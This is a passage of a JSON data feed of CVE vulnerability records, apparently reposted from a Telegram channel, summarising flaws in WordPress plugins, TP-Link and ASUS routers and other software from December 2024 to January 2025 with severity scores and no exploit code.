\"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:05.000000Z"}, {"uuid": "da94c529-43ec-4346-ac91-08e338d3bee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12346", "type": "seen", "source": "https://t.me/cvedetector/12336", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12346 - Talentera Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12346 \nPublished : Dec. 9, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability has been found in Talentera up to 20241128 and classified as problematic. This vulnerability affects unknown code of the file /app/control/byt_cv_manager. The manipulation of the argument redirect_url leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The provided PoC only works in Mozilla Firefox. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:09:02.000000Z"}, {"uuid": "0f72b4bf-9726-4726-bf71-db4f18c6344f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12347", "type": "seen", "source": "https://t.me/cvedetector/12335", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12347 - \"Guangzhou Huayi Intelligent Technology Jeewms Druid Monitoring Interface Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12347 \nPublished : Dec. 9, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in Guangzhou Huayi Intelligent Technology Jeewms up to 1.0.0 and classified as critical. This issue affects some unknown processing of the file /jeewms_war/webpage/system/druid/index.html of the component Druid Monitoring Interface. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:08:58.000000Z"}, {"uuid": "a8c31263-a064-4bf2-ad5e-678532340b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://t.me/cvedetector/12334", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12344 - TP-Link FTP USER Command Handler Remote Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12344 \nPublished : Dec. 8, 2024, 11:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in TP-Link VN020 F3v(T) TT_V6.2.1021. This affects an unknown part of the component FTP USER Command Handler. The manipulation leads to memory corruption. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T01:18:40.000000Z"}, {"uuid": "4d28adeb-3259-422a-a721-7a34d71353fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12343", "type": "seen", "source": "https://t.me/cvedetector/12332", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12343 - TP-Link SOAP Request Handler Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12343 \nPublished : Dec. 8, 2024, 10:15 a.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in TP-Link VN020 F3v(T) TT_V6.2.1021. Affected is an unknown function of the file /control/WANIPConnection of the component SOAP Request Handler. The manipulation of the argument NewConnectionType leads to buffer overflow. The attack needs to be done within the local network. The exploit has been disclosed to the public and may be used. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T11:56:11.000000Z"}, {"uuid": "74a17fcd-adb5-4d04-8a9f-199fefb34414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12342", "type": "seen", "source": "https://t.me/cvedetector/12331", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12342 - \"TP-Link WANIPConnection Denial of Service Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12342 \nPublished : Dec. 8, 2024, 7:15 a.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in TP-Link VN020 F3v(T) TT_V6.2.1021. It has been rated as critical. This issue affects some unknown processing of the file /control/WANIPConnection of the component Incomplete SOAP Request Handler. The manipulation leads to denial of service. The attack can only be initiated within the local network. The exploit has been disclosed to the public and may be used. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T09:25:40.000000Z"}, {"uuid": "02356267-33d0-4e92-a38f-a380605eb562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/cvedetector/12330", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12209 - \"WP Umbrella: Remote File Execution via arbitrary file inclusion\"\", \n  \"Content\": \"CVE ID : CVE-2024-12209 \nPublished : Dec. 8, 2024, 6:15 a.m. | 22\u00a0minutes ago \nDescription : The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T07:45:18.000000Z"}, {"uuid": "097a26a0-d23e-45ef-a395-cd27dd9b6630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12128", "type": "seen", "source": "https://t.me/cvedetector/12319", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12128 - PayPal Simple Ecommerce Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12128 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018monthly_sales_current_year\u2019 parameter in all versions up to, and including, 3.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:59.000000Z"}, {"uuid": "f5da81a2-256a-4022-a786-16f518c01762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12026", "type": "seen", "source": "https://t.me/cvedetector/12305", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12026 - The Message Filter for Contact Form 7 plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12026 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the saveFilter() function in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new filters. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:46.000000Z"}, {"uuid": "69ece474-a507-4164-92a9-099082fd14fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://t.me/cvedetector/12316", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12270 - \"Beautiful Taxonomy Filters for WordPress SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12270 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Beautiful taxonomy filters plugin for WordPress is vulnerable to SQL Injection via the 'selects[0][term]' parameter in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:57.000000Z"}, {"uuid": "dac36234-48d5-4b20-bae5-873c591c3c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12253", "type": "seen", "source": "https://t.me/cvedetector/12315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12253 - PayPal WordPress Sell Products Unauthorized Access\", \n  \"Content\": \"CVE ID : CVE-2024-12253 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'save_settings', 'export_csv', and 'simpleecommcart-action' actions in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to update the plugins settings and retrieve order and log data (which is also accessible to unauthenticated users). \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:56.000000Z"}, {"uuid": "3785eb82-7491-496d-ac5d-e1a19d062902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12166", "type": "seen", "source": "https://t.me/cvedetector/12308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12166 - The Shortcodes Blocks Creator Ultimate plugin for\", \n  \"Content\": \"CVE ID : CVE-2024-12166 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:51.000000Z"}, {"uuid": "e326be16-ddad-40d7-9482-316c25d58e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12165", "type": "seen", "source": "https://t.me/cvedetector/12307", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12165 - The Mollie for Contact Form 7 plugin for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12165 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Mollie for Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 5.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:47.000000Z"}, {"uuid": "a3a4d911-222c-4981-a94c-16367bc8a421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12115", "type": "seen", "source": "https://t.me/cvedetector/12306", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12115 - The Poll Maker \u2013 Versus Polls, Anonymous Polls, Im\", \n  \"Content\": \"CVE ID : CVE-2024-12115 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Poll Maker \u2013 Versus Polls, Anonymous Polls, Image Polls plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.5.4. This is due to missing or incorrect nonce validation on the duplicate_poll() function. This makes it possible for unauthenticated attackers to duplicate polls via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:47.000000Z"}, {"uuid": "1d244a2e-a02f-4955-9699-859bd7ab6cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12257", "type": "seen", "source": "https://t.me/cvedetector/12300", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12257 - The CardGate Payments for WooCommerce plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12257 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The CardGate Payments for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:39.000000Z"}, {"uuid": "049458d8-cf87-4ae7-9cf0-32fc486fc865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12167", "type": "seen", "source": "https://t.me/cvedetector/12298", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12167 - The Shortcodes Blocks Creator Ultimate plugin for\", \n  \"Content\": \"CVE ID : CVE-2024-12167 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wpnonce' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:38.000000Z"}, {"uuid": "f408a059-ba1a-4110-810f-800f049af99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12659", "type": "seen", "source": "https://t.me/cvedetector/13027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12659 - IObit Advanced SystemCare Utimate Null Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12659 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been classified as problematic. Affected is the function 0x8001E004 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:46.000000Z"}, {"uuid": "8a9438fb-6a43-472c-af9f-e3146ecb06d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://t.me/cvedetector/14217", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12132 - Wordpress Job Portal - Insecure Direct Object Reference (IDOR) in WP Job Portal Plugin\", \n  \"Content\": \"CVE ID : CVE-2024-12132 \nPublished : Jan. 3, 2025, 9:15 a.m. | 42\u00a0minutes ago \nDescription : The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create jobs for companies that are unaffiliated with the attacker. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-03T11:09:58.000000Z"}, {"uuid": "b55c938a-3241-48d6-9f4e-17aef2321861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://t.me/cvedetector/14181", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12907 - Kentico CMS Reflected XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12907 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Kentico CMS in version 7 is vulnerable to a Reflected XSS attacks through manipulation of  a specific GET request parameter sent to\u00a0/CMSMessages/AccessDenied.aspx endpoint.  \nNotably, support for this version of Kentico ended in 2016. Version 8 was tested as well and does not contain this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:36.000000Z"}, {"uuid": "ee94faf2-6ade-4ab6-9c6c-e28df6de716c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/cvedetector/14099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12912 - ASUS Router AiCloud Arbitrary Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12912 \nPublished : Jan. 2, 2025, 9:15 a.m. | 33\u00a0minutes ago \nDescription : An improper input insertion vulnerability in AiCloud on certain router models may lead to arbitrary command execution.  \nRefer to the '01/02/2025 ASUS Router AiCloud vulnerability' section on the ASUS Security Advisory for more information. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T10:54:01.000000Z"}, {"uuid": "d7fc45c4-53f5-4837-a4e3-a8f12919059a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://t.me/cvedetector/14094", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12595 - WordPress AHAthat Plugin Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12595 \nPublished : Jan. 2, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The AHAthat Plugin WordPress plugin through 1.6 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T08:23:27.000000Z"}, {"uuid": "f7b80ac2-6bcd-4fe9-b224-d97999f177ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12601", "type": "seen", "source": "https://t.me/cvedetector/13085", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12601 - WordPress Calculated Fields Form CAPTCHA Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-12601 \nPublished : Dec. 17, 2024, 12:15 p.m. | 43\u00a0minutes ago \nDescription : The Calculated Fields Form plugin for WordPress is vulnerable to Denial of Service in all versions up to, and including, 5.2.63. This is due to unlimited height and width parameters for CAPTCHA images. This makes it possible for unauthenticated attackers to send multiple requests with large values, resulting in slowing server resources if the server does not mitigate Denial of Service attacks. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T14:16:00.000000Z"}, {"uuid": "b24f52ab-dbd8-4e10-bf44-f2700701aae0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12395", "type": "seen", "source": "https://t.me/cvedetector/13084", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12395 - WooCommerce Additional Fees On Checkout Cross-Site Scripting Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12395 \nPublished : Dec. 17, 2024, 12:15 p.m. | 43\u00a0minutes ago \nDescription : The WooCommerce Additional Fees On Checkout (Free) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018number\u2019 parameter in all versions up to, and including, 1.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T14:15:59.000000Z"}, {"uuid": "7a28c00f-abaf-4379-9b2c-f8d052144af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12660", "type": "seen", "source": "https://t.me/cvedetector/13028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12660 - IObit Advanced SystemCare Utimate Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12660 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been declared as problematic. Affected by this vulnerability is the function 0x8001E018 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:47.000000Z"}, {"uuid": "db671ad6-34a7-4c01-95cd-cc5a2ac58e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12839", "type": "seen", "source": "https://t.me/cvedetector/13968", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12839 - Changing Information Technology CGFIDO Session Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12839 \nPublished : Dec. 31, 2024, 2:15 a.m. | 24\u00a0minutes ago \nDescription : The login mechanism via device authentication of CGFIDO from Changing Information Technology has an Authentication Bypass vulnerability. If a user visits a forged website, the agent program deployed on their device will send an authentication signature to the website. An unauthenticated remote attacker who obtains this signature can use it to log into the system with any device. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T03:40:08.000000Z"}, {"uuid": "e5225b74-e627-4815-a715-142faaf29498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://t.me/cvedetector/14004", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12106 - SolarWinds WhatsUp Gold LDAP Configuration Remote Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12106 \nPublished : Dec. 31, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : In WhatsUp Gold versions released before 2024.0.2, an unauthenticated attacker can configure\u00a0LDAP settings. \nSeverity: 9.4 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T12:52:32.000000Z"}, {"uuid": "181f5cab-6394-461d-b067-c3e78e93c540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://t.me/cvedetector/14003", "content": "{\n  \"Source\": \"CVE FEED\",\n  